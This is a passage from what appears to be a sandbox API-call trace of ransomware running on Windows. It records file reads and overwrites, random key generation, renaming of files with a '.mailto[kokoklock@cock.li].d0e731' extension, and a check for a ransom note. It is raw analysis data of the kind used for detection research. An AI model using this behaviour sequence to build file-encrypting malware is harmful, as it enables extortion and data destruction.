0x2fab550 [0165.447] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faacf0) returned 1 [0165.448] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5c8) returned 1 [0165.448] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3014068 [0165.448] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.448] ReadFile (in: hFile=0x5c4, lpBuffer=0x3014068, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x86ef8cc, lpOverlapped=0x0 | out: lpBuffer=0x3014068*, lpNumberOfBytesRead=0x86ef8cc*=0x4096, lpOverlapped=0x0) returned 1 [0165.450] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.450] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2fedc10 [0165.450] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0165.450] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab668 [0165.450] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab668) returned 1 [0165.450] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3018108 [0165.451] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab3c0 [0165.451] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2a8 [0165.451] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2a8) returned 1 [0165.451] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0165.451] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedc10) returned 1 [0165.451] WriteFile (in: hFile=0x5c4, lpBuffer=0x3018108*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x86ef8cc, lpOverlapped=0x0 | out: lpBuffer=0x3018108*, lpNumberOfBytesWritten=0x86ef8cc*=0x4096, lpOverlapped=0x0) returned 1 [0165.451] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3018108) returned 1 [0165.451] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1493ca6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.451] ReadFile (in: hFile=0x5c4, lpBuffer=0x3014068, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x86ef8cc, lpOverlapped=0x0 | out: lpBuffer=0x3014068*, lpNumberOfBytesRead=0x86ef8cc*=0x4096, lpOverlapped=0x0) returned 1 [0165.453] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1493ca6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.453] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2fedb38 [0165.453] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac78 [0165.453] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab3e8 [0165.453] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab3e8) returned 1 [0165.453] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3018108 [0165.453] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab3e8 [0165.453] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab410 [0165.453] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab410) returned 1 [0165.453] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac78) returned 1 [0165.454] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedb38) returned 1 [0165.454] WriteFile (in: hFile=0x5c4, lpBuffer=0x3018108*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x86ef8cc, lpOverlapped=0x0 | out: lpBuffer=0x3018108*, lpNumberOfBytesWritten=0x86ef8cc*=0x4096, lpOverlapped=0x0) returned 1 [0165.454] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3018108) returned 1 [0165.454] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x291e331, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.454] ReadFile (in: hFile=0x5c4, lpBuffer=0x3014068, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x86ef8cc, lpOverlapped=0x0 | out: lpBuffer=0x3014068*, lpNumberOfBytesRead=0x86ef8cc*=0x4096, lpOverlapped=0x0) returned 1 [0165.456] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x291e331, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.456] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2feddc0 [0165.456] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0165.456] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2a8 [0165.456] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2a8) returned 1 [0165.456] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3018108 [0165.457] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab410 [0165.457] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab438 [0165.457] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab438) returned 1 [0165.457] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0165.457] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feddc0) returned 1 [0165.457] WriteFile (in: hFile=0x5c4, lpBuffer=0x3018108*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x86ef8cc, lpOverlapped=0x0 | out: lpBuffer=0x3018108*, lpNumberOfBytesWritten=0x86ef8cc*=0x4096, lpOverlapped=0x0) returned 1 [0168.396] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3018108) returned 1 [0168.396] WriteFile (in: hFile=0x5c4, lpBuffer=0x2fab3c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x86ef928, lpOverlapped=0x0 | out: lpBuffer=0x2fab3c0*, lpNumberOfBytesWritten=0x86ef928*=0x20, lpOverlapped=0x0) returned 1 [0168.397] WriteFile (in: hFile=0x5c4, lpBuffer=0x2fab3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x86ef928, lpOverlapped=0x0 | out: lpBuffer=0x2fab3e8*, lpNumberOfBytesWritten=0x86ef928*=0x20, lpOverlapped=0x0) returned 1 [0168.397] WriteFile (in: hFile=0x5c4, lpBuffer=0x2fab410*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x86ef928, lpOverlapped=0x0 | out: lpBuffer=0x2fab410*, lpNumberOfBytesWritten=0x86ef928*=0x20, lpOverlapped=0x0) returned 1 [0168.397] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3014068) returned 1 [0168.397] WriteFile (in: hFile=0x5c4, lpBuffer=0x2fab550*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x86ef930, lpOverlapped=0x0 | out: lpBuffer=0x2fab550*, lpNumberOfBytesWritten=0x86ef930*=0x8, lpOverlapped=0x0) returned 1 [0168.397] WriteFile (in: hFile=0x5c4, lpBuffer=0x86ef948*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x86ef930, lpOverlapped=0x0 | out: lpBuffer=0x86ef948*, lpNumberOfBytesWritten=0x86ef930*=0x4, lpOverlapped=0x0) returned 1 [0168.397] WriteFile (in: hFile=0x5c4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x86ef930, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x86ef930*=0x4, lpOverlapped=0x0) returned 1 [0168.397] WriteFile (in: hFile=0x5c4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x86ef930, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x86ef930*=0x6c, lpOverlapped=0x0) returned 1 [0168.397] WriteFile (in: hFile=0x5c4, lpBuffer=0x2fab618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x86ef930, lpOverlapped=0x0 | out: lpBuffer=0x2fab618*, lpNumberOfBytesWritten=0x86ef930*=0x20, lpOverlapped=0x0) returned 1 [0168.397] WriteFile (in: hFile=0x5c4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x86ef930, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x86ef930*=0x4, lpOverlapped=0x0) returned 1 [0168.397] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab618) returned 1 [0168.397] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab690) returned 1 [0168.397] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0168.397] CloseHandle (hObject=0x5c4) returned 1 [0168.398] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd6) returned 0x2f97bb8 [0168.398] wcscpy (in: _Dest=0x2f97bb8, _Source="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731" [0168.398] wcscat (in: _Dest=0x2f97bb8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0168.398] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0168.399] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.399] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97bb8) returned 1 [0168.399] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.399] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2faa0f0 [0168.399] wcscpy (in: _Dest=0x2faa0f0, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0168.399] wcscat (in: _Dest=0x2faa0f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0168.399] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0168.399] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa0f0) returned 1 [0168.399] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c7a0) returned 1 [0168.399] RtlExitUserThread (Status=0x1) Thread: id = 1583 os_tid = 0xf98 [0165.480] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0165.481] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.481] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8 [0165.482] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x876fa80 | out: lpFileSize=0x876fa80*=272302) returned 1 [0165.482] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x427aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.482] ReadFile (in: hFile=0x5c8, lpBuffer=0x876fa54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x876fa50, lpOverlapped=0x0 | out: lpBuffer=0x876fa54*, lpNumberOfBytesRead=0x876fa50*=0x4, lpOverlapped=0x0) returned 1 [0165.483] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.483] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5a0 [0165.483] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab438 [0165.483] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5c8 [0165.483] NtQuerySystemTime (in: CurrentTime=0x876fa2c | out: CurrentTime=0x876fa2c*=132121213228027998) returned 0x0 [0165.483] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0xd06857ad [0165.483] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x31d63a8a [0165.483] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x890f6782 [0165.483] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x72fd811e [0165.483] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x5c25ca17 [0165.483] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x6e5af659 [0165.483] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x9f012273 [0165.483] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x8aee3be4 [0165.483] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x4afb750e [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x6088dd11 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x7cbe9b7d [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x9786631 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x240e96a7 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x1de3dd69 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x8c396d8f [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x4d529da9 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0xa08e63af [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0xbe98d324 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x55564978 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x5955728e [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0xd74e0b86 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0xe09c6066 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0xd872c737 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0xe8fda690 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x62ee0ca1 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x56baf4b6 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x2842127e [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0xb03ec680 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0xca70c2ae [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x4b9beeac [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0xf5b31b32 [0165.484] RtlRandom (in: Seed=0x876fa38 | out: Seed=0x876fa38) returned 0x45164a26 [0165.492] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab668 [0165.494] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0165.494] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab6b8 [0165.494] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0165.494] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5a0) returned 1 [0165.494] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0165.495] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.495] ReadFile (in: hFile=0x5c8, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x876f9ec, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x876f9ec*=0x4096, lpOverlapped=0x0) returned 1 [0165.497] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2fedc10 [0165.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0165.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab460 [0165.497] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab460) returned 1 [0165.498] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0165.498] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2a8 [0165.498] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab6e0 [0165.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab6e0) returned 1 [0165.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0165.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedc10) returned 1 [0165.498] WriteFile (in: hFile=0x5c8, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x876f9ec, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x876f9ec*=0x4096, lpOverlapped=0x0) returned 1 [0165.499] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0165.499] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.499] ReadFile (in: hFile=0x5c8, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x876f9ec, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x876f9ec*=0x4096, lpOverlapped=0x0) returned 1 [0165.500] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.500] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2fedb38 [0165.500] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa98 [0165.500] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab460 [0165.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab460) returned 1 [0165.500] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0165.500] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab460 [0165.500] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5a0 [0165.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5a0) returned 1 [0165.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa98) returned 1 [0165.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedb38) returned 1 [0165.500] WriteFile (in: hFile=0x5c8, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x876f9ec, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x876f9ec*=0x4096, lpOverlapped=0x0) returned 1 [0165.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0165.501] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x3e718, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.501] ReadFile (in: hFile=0x5c8, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x876f9ec, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x876f9ec*=0x4096, lpOverlapped=0x0) returned 1 [0165.502] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x3e718, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2fedb38 [0165.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faab10 [0165.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5a0 [0165.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5a0) returned 1 [0165.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0165.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5a0 [0165.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5f0 [0165.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5f0) returned 1 [0165.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faab10) returned 1 [0165.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedb38) returned 1 [0165.502] WriteFile (in: hFile=0x5c8, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x876f9ec, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x876f9ec*=0x4096, lpOverlapped=0x0) returned 1 [0165.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0165.503] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab2a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x876fa48, lpOverlapped=0x0 | out: lpBuffer=0x2fab2a8*, lpNumberOfBytesWritten=0x876fa48*=0x20, lpOverlapped=0x0) returned 1 [0165.503] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab460*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x876fa48, lpOverlapped=0x0 | out: lpBuffer=0x2fab460*, lpNumberOfBytesWritten=0x876fa48*=0x20, lpOverlapped=0x0) returned 1 [0165.503] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab5a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x876fa48, lpOverlapped=0x0 | out: lpBuffer=0x2fab5a0*, lpNumberOfBytesWritten=0x876fa48*=0x20, lpOverlapped=0x0) returned 1 [0165.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0165.503] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab6b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x876fa50, lpOverlapped=0x0 | out: lpBuffer=0x2fab6b8*, lpNumberOfBytesWritten=0x876fa50*=0x8, lpOverlapped=0x0) returned 1 [0165.503] WriteFile (in: hFile=0x5c8, lpBuffer=0x876fa68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x876fa50, lpOverlapped=0x0 | out: lpBuffer=0x876fa68*, lpNumberOfBytesWritten=0x876fa50*=0x4, lpOverlapped=0x0) returned 1 [0165.503] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x876fa50, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x876fa50*=0x4, lpOverlapped=0x0) returned 1 [0165.503] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x876fa50, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x876fa50*=0x6c, lpOverlapped=0x0) returned 1 [0165.504] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab438*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x876fa50, lpOverlapped=0x0 | out: lpBuffer=0x2fab438*, lpNumberOfBytesWritten=0x876fa50*=0x20, lpOverlapped=0x0) returned 1 [0165.504] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x876fa50, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x876fa50*=0x4, lpOverlapped=0x0) returned 1 [0165.504] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab438) returned 1 [0165.504] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab668) returned 1 [0165.504] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab6b8) returned 1 [0165.504] CloseHandle (hObject=0x5c8) returned 1 [0165.504] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd4) returned 0x2f97138 [0165.504] wcscpy (in: _Dest=0x2f97138, _Source="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731" [0165.504] wcscat (in: _Dest=0x2f97138, _Source=".mailto[kokoklock@cock.li].d0e731" | out: 